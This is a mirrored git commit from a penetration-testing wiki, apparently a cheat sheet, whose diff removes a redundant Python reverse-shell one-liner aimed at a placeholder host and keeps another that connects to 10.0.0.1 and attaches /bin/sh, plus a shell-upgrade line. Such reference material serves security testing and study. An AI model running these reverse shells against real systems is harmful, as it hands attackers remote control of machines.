mirror of
https://github.com/oXis/pwnwiki.github.io.git
synced 2025-10-29 16:56:59 +00:00
Merge pull request #58 from jakxx/master
Removing redundant python reverse shell
This commit is contained in:
commit
ba02596cd2
@ -11,10 +11,6 @@ python -m SimpleHTTPServer 8000```
|
|||||||
```python
|
```python
|
||||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'```
|
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'```
|
||||||
|
|
||||||
**Reverse Shell to YOURIP on port 9000**
|
|
||||||
```python
|
|
||||||
python -c "import socket,subprocess,os;host=\"[YOURIP]\";port=9000;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"```
|
|
||||||
|
|
||||||
**Spawn bash shell prompt**
|
**Spawn bash shell prompt**
|
||||||
```python
|
```python
|
||||||
python -c 'import pty; pty.spawn("/bin/bash")'```
|
python -c 'import pty; pty.spawn("/bin/bash")'```
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user